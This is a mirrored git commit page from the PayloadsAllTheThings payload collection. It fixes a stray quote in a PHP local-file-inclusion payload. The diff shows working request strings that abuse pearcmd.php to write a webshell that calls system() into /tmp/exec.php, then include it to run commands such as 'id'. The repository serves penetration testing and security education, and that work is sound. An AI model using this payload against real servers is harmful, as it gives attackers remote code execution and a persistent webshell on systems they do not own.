1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-05-04 19:16:12 +02:00

Add two methods about LFI to RCE via PHP PEARCMD, and delete extra double quotes in method 2 payload

This commit is contained in:
Str3am 2023-11-01 00:35:59 +08:00 committed by GitHub
parent 072cac04d6
commit 95a85b455d
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -516,7 +516,7 @@ There are this ways to exploit it.
```
* Method 2: man_dir
```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+"
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
/vuln.php?file=/tmp/exec.php&c=id
```
The created configuration file contains the webshell.